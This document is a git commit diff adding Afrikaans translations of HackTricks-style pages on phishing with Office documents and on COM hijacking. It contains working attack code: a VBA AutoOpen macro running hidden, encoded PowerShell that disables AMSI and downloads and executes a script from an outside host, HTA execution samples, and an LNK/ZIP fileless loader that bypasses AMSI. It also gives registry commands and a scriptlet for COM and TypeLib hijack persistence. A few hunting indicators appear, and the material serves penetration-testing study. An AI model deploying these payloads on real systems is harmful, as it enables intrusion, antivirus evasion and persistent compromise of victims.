Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-08-28 22:48:59 +00:00
parent b23e8cc730
commit 8c800bd970
2 changed files with 151 additions and 42 deletions

View File

@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Kantoor Dokumente
## Office Dokumente
Microsoft Word voer lêerdata validasie uit voordat 'n lêer geopen word. Data validasie word uitgevoer in die vorm van data struktuur identifikasie, teen die OfficeOpenXML standaard. As enige fout voorkom tydens die data struktuur identifikasie, sal die lêer wat geanaliseer word nie geopen word nie.
Microsoft Word voer lêerdata-validering uit voordat 'n lêer geopen word. Datavalidering word uitgevoer in die vorm van identifikasie van datastrukture, teen die OfficeOpenXML standard. As enige fout voorkom tydens die identifikasie van die datastruktuur, sal die lêer wat ontleed word nie geopen word nie.
Gewoonlik gebruik Word-lêers wat makros bevat die `.docm` uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêer uitbreiding te verander en steeds hul makro uitvoeringsvermoëns te behou.\
Byvoorbeeld, 'n RTF-lêer ondersteun nie makros nie, volgens ontwerp, maar 'n DOCM-lêer wat na RTF hernoem is, sal deur Microsoft Word hanteer word en sal in staat wees tot makro-uitvoering.\
Die dieselfde interne en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint ens.).
Gewoonlik gebruik Word-lêers wat macros bevat die `.docm` uitbreiding. Dit is egter moontlik om die lêer te hernoem deur die lêeruitbreiding te verander en steeds hul macros-uitvoerende vermoëns te behou.\
Byvoorbeeld, 'n RTF-lêer ondersteun nie macros nie, volgens ontwerp, maar 'n DOCM-lêer hernoem na RTF sal deur Microsoft Word hanteer word en sal in staat wees tot macro-uitvoering.\
Dieselfde interne strukture en meganismes geld vir alle sagteware van die Microsoft Office Suite (Excel, PowerPoint etc.).
Jy kan die volgende opdrag gebruik om te kyk watter uitbreidings deur sommige Kantoorprogramme uitgevoer gaan word:
Jy kan die volgende opdrag gebruik om te kontroleer watter uitbreidings deur sommige Office-programme uitgevoer gaan word:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX-lêers wat 'n afstandsjabloon verwys (Lêer Opsies Byvoegsels Bestuur: Sjablone Gaan) wat makros insluit, kan ook makros “uitvoer”.
DOCX-lêers wat na 'n afgeleë sjabloon verwys (File Options Add-ins Manage: Templates Go) wat makro's insluit, kan ook makro's “uitvoer”.
### Eksterne Beeld Laai
### Eksterne beeldlaai
Gaan na: _Invoeg --> Vinne Onderdeel --> Veld_\
_**Kategoriene**: Skakels en Verwysings, **Veldname**: includePicture, en **Lêernaam of URL**:_ http://\<ip>/whatever
Gaan na: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, en **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Makros Agterdeur
### Makro-agterdeur
Dit is moontlik om makros te gebruik om arbitrêre kode vanaf die dokument uit te voer.
Dit is moontlik om makro's te gebruik om willekeurige kode vanaf die dokument uit te voer.
#### Outolading funksies
#### Autoload funksies
Hoe meer algemeen hulle is, hoe groter is die waarskynlikheid dat die AV hulle sal opspoor.
Hoe algemener hulle is, hoe meer waarskynlik sal AV hulle opspoor.
- AutoOpen()
- Document_Open()
#### Makros Kode Voorbeelde
#### Makro-kode voorbeelde
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,24 +66,24 @@ proc.Create "powershell <beacon line generated>
```
#### Verwyder metadata handmatig
Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector sal oopbring. Klik op **Inspect** en dan op **Remove All** langs **Document Properties and Personal Information**.
Gaan na **File > Info > Inspect Document > Inspect Document**, wat die Document Inspector oopmaak. Klik **Inspect** en dan **Remove All** langs **Document Properties and Personal Information**.
#### Doc-uitbreiding
Wanneer jy klaar is, kies **Save as type** dropdown, verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor nie** en daar is 'n **stigma** **rondom** die makro-geaktiveerde **`.docm`** uitbreiding (bv. die miniatuurikoon het 'n groot `!` en sommige web/e-pos poorte blokkeer hulle heeltemal). Daarom is hierdie **erf `.doc` uitbreiding die beste kompromie**.
Wanneer klaar, kies die **Save as type** keuselys en verander die formaat van **`.docx`** na **Word 97-2003 `.doc`**.\
Doen dit omdat jy **nie makro's binne 'n `.docx` kan stoor** nie en daar is 'n **stigma** **omtrent** die makro-aktiewe **`.docm`** uitbreiding (bv. die miniatuurikoon het 'n groot `!` en sommige web-/e-pos-gateways blokkeer dit heeltemal). Daarom is hierdie **erfenis `.doc` uitbreiding die beste kompromis**.
#### Kwaadwillige Makro Generators
#### Kwaadaardige makro-generatoren
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Lêers
## HTA-lêers
'n HTA is 'n Windows-program wat **HTML en skripting tale (soos VBScript en JScript)** kombineer. Dit genereer die gebruikerskoppelvlak en voer uit as 'n "volledig vertroude" toepassing, sonder die beperkings van 'n blaaiers se sekuriteitsmodel.
'n HTA is 'n Windows-program wat **HTML en skripttale (soos VBScript en JScript) kombineer**. Dit genereer die gebruikerskoppelvlak en word uitgevoer as 'n "fully trusted" toepassing, sonder die beperkings van 'n blaaier se sekuriteitsmodel.
'n HTA word uitgevoer met **`mshta.exe`**, wat tipies **geïnstalleer** word saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. So as dit verwyder is, sal HTA's nie in staat wees om uit te voer nie.
'n HTA word uitgevoer met **`mshta.exe`**, wat tipies **geïnstalleer** is saam met **Internet Explorer**, wat **`mshta` afhanklik van IE** maak. As dit dus verwyder is, sal HTA's nie in staat wees om uitgevoer te word nie.
```html
<--! Basic HTA Execution -->
<html>
@ -138,9 +138,9 @@ var_func
self.close
</script>
```
## Dwing NTLM-outekenning
## Afdwing van NTLM-verifikasie
Daar is verskeie maniere om **NTLM-outekenning "afgeleë"** te **dwing**, byvoorbeeld, jy kan **on sigbare beelde** by e-posse of HTML voeg wat die gebruiker sal toegang hê (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **outekenning** net vir **die opening van die gids** sal **aktiveer**.
Daar is verskeie maniere om **afdwing van NTLM-verifikasie "op afstand"**, byvoorbeeld, jy kan **onsigbare beelde** by e-posse of HTML voeg wat die gebruiker sal oopmaak (selfs HTTP MitM?). Of stuur die slagoffer die **adres van lêers** wat 'n **verifikasie** sal **aktiveer** net deur die **vouer te open.**
**Kyk na hierdie idees en meer op die volgende bladsye:**
@ -156,9 +156,60 @@ Daar is verskeie maniere om **NTLM-outekenning "afgeleë"** te **dwing**, byvoor
### NTLM Relay
Moet nie vergeet dat jy nie net die hash of die outekenning kan steel nie, maar ook **NTLM relay-aanvalle** kan **uitvoer**:
Moenie vergeet dat jy nie net die hash of die verifikasie kan steel nie, maar ook **perform NTLM relay attacks**:
- [**NTLM Relay-aanvalle**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay na sertifikate)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Baie doeltreffende veldtogte lewer 'n ZIP wat twee legitieme lokdokumente (PDF/DOCX) en 'n kwaadwillige .lnk bevat. Die truuk is dat die werklike PowerShell loader binne die ruwe bytes van die ZIP na 'n unieke merker gestoor is, en die .lnk dit uitkerf en volledig in geheue uitvoer.
Tipiese vloei geïmplementeer deur die .lnk PowerShell one-liner:
1) Vind die oorspronklike ZIP in algemene paaie: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, en die ouer van die huidige working directory.
2) Lees die ZIP-bytes en vind 'n hardgekodeerde merker (bv. xFIQCV). Alles na die merker is die ingeslote PowerShell-payload.
3) Kopieer die ZIP na %ProgramData%, pak daar uit, en open die lok .docx om geldig te voorkom.
4) Omseil AMSI vir die huidige proses: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskering van die volgende fase (bv. verwyder alle # karakters) en voer dit in geheue uit.
Voorbeeld PowerShell-skelet om die ingeslote fase uit te kerf en uit te voer:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Aantekeninge
- Aflewering misbruik dikwels betroubare PaaS-subdomeine (bv. *.herokuapp.com) en kan payloads gate (serve benign ZIPs gebaseer op IP/UA).
- Die volgende fase ontsleutel dikwels base64/XOR shellcode en voer dit uit via Reflection.Emit + VirtualAlloc om skyf-artefakte te minimaliseer.
Persistence wat in dieselfde ketting gebruik word
- COM TypeLib hijacking van die Microsoft Web Browser control sodat IE/Explorer of enige app wat dit inkorporeer die payload outomaties herlaai. Sien besonderhede en gereed-vir-gebruik opdragte hier:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- ZIP-lêers wat die ASCII merkerstring (bv. xFIQCV) bevat wat aan die argiefdata aangeheg is.
- .lnk wat ouer- en gebruikersgidse deurgaan om die ZIP te vind en 'n lokdokument oopmaak.
- AMSI-manipulasie via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Langlopende besigheidsdrade wat eindig met skakels gehost onder vertroude PaaS-domeine.
## Verwysings
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,23 @@
### Soek na nie-bestaande COM-komponente
Aangesien die waardes van HKCU deur die gebruikers gewysig kan word, kan **COM Hijacking** as 'n **volhardende meganisme** gebruik word. Deur `procmon` te gebruik, is dit maklik om gesoekte COM-registers te vind wat nie bestaan nie, wat 'n aanvaller kan skep om volhardend te wees. Filters:
Aangesien die waardes van HKCU deur gebruikers gewysig kan word, kan **COM Hijacking** as 'n **persistente meganismes** gebruik word. Met `procmon` is dit maklik om gesoekte COM-registrasies te vind wat nie bestaan nie en wat 'n aanvaller kan skep om 'n blywende toegangspunt te skep. Filters:
- **RegOpenKey** operasies.
- waar die _Result_ **NAAM NIE GEVIND NIE** is.
- waar die _Result_ **NAME NOT FOUND** is.
- en die _Path_ eindig met **InprocServer32**.
Sodra jy besluit het watter nie-bestaande COM om te verpersoonlik, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te verpersoonlik wat elke paar sekondes gelaai word, aangesien dit oorbodig kan wees._
Sodra jy besluit het watter nie-bestaande COM jy wil naboots, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te naboots wat elke paar sekondes gelaai word, want dit kan te veel wees._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackbare Taak Skeduleerder COM-komponente
### Hijackable Task Scheduler COM components
Windows Take gebruik Aangepaste Triggers om COM-objekte aan te roep en omdat hulle deur die Taak Skeduleerder uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer gaan word.
Windows Tasks gebruik Custom Triggers om COM objects aan te roep en omdat hulle deur die Task Scheduler uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer gaan word.
<pre class="language-powershell"><code class="lang-powershell"># Wys COM CLSIDs
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Taak Naam: " $Task.TaskName
Write-Host "Taak Pad: " $Task.TaskPath
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
@ -43,15 +43,15 @@ Write-Host
}
}
# Voorbeeld Uitset:
<strong># Taak Naam: Voorbeeld
</strong># Taak Pad: \Microsoft\Windows\Voorbeeld\
# Sample Output:
<strong># Task Name: Example
</strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [meer soos die vorige een...]</code></pre>
# [more like the previous one...]</code></pre>
Deur die uitset te kontroleer, kan jy een kies wat **elke keer 'n gebruiker aanmeld** gaan uitvoer, byvoorbeeld.
Deur die uitset na te gaan kan jy byvoorbeeld een kies wat **elke keer wanneer 'n gebruiker aanmeld** uitgevoer gaan word.
Soek nou vir die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** en in HKLM en HKCU, jy sal gewoonlik vind dat die waarde nie in HKCU bestaan nie.
As jy nou vir die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** soek in **HKEY\CLASSES\ROOT\CLSID** en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
Dan kan jy net die HKCU-invoer skep en elke keer wanneer die gebruiker aanmeld, sal jou backdoor geaktiveer word.
Dan kan jy net die HKCU-inskrywing skep en elke keer as die gebruiker aanmeld, sal jou backdoor geaktiveer word.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) definieer COM-koppelvlakke en word gelaai via `LoadTypeLib()`. Wanneer 'n COM-server geïnstantieer word, kan die OS ook die geassosieerde TypeLib laai deur registersleutels onder `HKCR\TypeLib\{LIBID}` te raadpleeg. As die TypeLib-pad vervang word met 'n **moniker**, bv. `script:C:\...\evil.sct`, sal Windows die scriptlet uitvoer wanneer die TypeLib opgelos word — wat 'n stilswyende persistentie tot gevolg het wat aktiveer wanneer gewone komponente geraak word.
Hierdie is waargeneem teen die Microsoft Web Browser-beheer (gereeld gelaai deur Internet Explorer, toepassings wat WebBrowser inkorporeer, en selfs `explorer.exe`).
### Stappe (PowerShell)
1) Bepaal die TypeLib (LIBID) wat deur 'n veelgebruikte CLSID gebruik word. Voorbeeld CLSID wat dikwels deur malware-kettings misbruik word: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Wys die per-gebruiker TypeLib-pad na 'n plaaslike scriptlet deur die `script:` moniker te gebruik (geen administrateurregte benodig):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Drop 'n minimale JScript `.sct` wat jou primêre payload herbegin (bv. 'n `.lnk` wat deur die aanvanklike ketting gebruik word):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Aktivering om IE te open, 'n toepassing wat die WebBrowser control inkorporeer, of selfs normale Explorer-aktiwiteit sal die TypeLib laai en die scriptlet uitvoer, en jou ketting by aanmelding/herbegin heraktiveer.
Opruiming
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
Notas
- Jy kan dieselfde logika op ander hoëfrekwensie COM-komponente toepas; los altyd eers die werklike `LIBID` op vanaf `HKCR\CLSID\{CLSID}\TypeLib`.
- Op 64-bit stelsels kan jy ook die `win64` subsleutel vir 64-bit verbruikers invul.
## Verwysings
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}